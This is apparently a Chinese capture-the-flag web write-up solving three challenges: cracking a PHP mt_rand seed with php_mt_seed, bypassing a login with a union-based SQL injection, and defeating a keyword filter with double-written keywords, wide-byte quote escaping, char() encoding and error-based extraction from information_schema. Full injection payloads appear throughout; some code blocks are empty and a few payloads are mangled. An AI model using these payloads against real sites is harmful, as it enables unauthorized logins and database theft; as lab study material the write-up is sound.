web
枯燥的抽奖
打开以后在源代码里面找到 check.php,去访问了一下
1 |
|
其中 mt_rand() 会出现随机数安全问题,就是说如果播种的种子(seed)一样的话,那么产生的随机数实际上是不变的
可以使用这个爆破出来
下下来直接解压以后在目录执行 make
命令,就可以使用了
拿源码来解释一下:
1 |
|
知道它的原理之后其实可以自己实现一下,然后转换成 php_mt_seed 能识别的形式
1 | str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' |
然后使用 php_mt_seed:
把得到的 seed 带入题目源码里面就可以得到 flag 了,注意 php 的版本
找了几个 php7 在线运行都不行,还是 phpstudy 稳
得到 flag
BabySqli
尝试登录的话会返回账号错误还是密码错误,可以得出 admin 账号是存在的
然后使用 union 万能密码绕过(MD5 是 123 的 MD5)username:-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
password:123
解释一下 union 万能密码,
如果原来的查询语句是:
1 |
|
你输入的是:username:-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
password:123
那这个语句就会被构造成:
1 | select * from users where username='-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' # and password='md5(123,true)'; |
这条语句的结果是:
这样你输入的 admin 的密码就是你传的 123 的 MD5 值,就可以成功登陆了
BabySqliv2.0
union 与 select 被置为空,双写绕过
单引号回家反斜线转义,宽字节注入
admin 被检测,0x 被检测,使用 char(97,100,109,105,110)
爆库名:web_sqli
username:1%df’ ununionion selselectect 1,char(97,100,109,105,110),group_concat(schema_name) from information_schema.schemata%23
password:随意
爆表名:f14g
username:1%df’ ununionion selselectect 1,char(97,100,109,105,110),group_concat(table_name) from information_schema.tables whwhereere table_schema=char(119,101,98,95,115,113,108,105)%23
password:随意
爆字段名:
username:1%df’ ununionion selselectect 1,char(97,100,109,105,110),group_concat(column_name) from information_schema.columns whwhereere table_name=char(102,49,52,103)%23
password:随意
爆 flag:
username:1%df’ uniunionon selselectect 1,char(97,100,109,105,110),group_concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g%23
password:随意
解出来全是歌词??为啥我的没有 flag???
使用:
username:%df’
and(seselectlect 1 from(sselectelect count(),concat((sselectelect (sselectelect (SESELECTLECT concat(327a6c4304ad5938eaf0efb6cc3e53dc) FROM f14g limit 22,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)–+
password:随意
可以得到!!!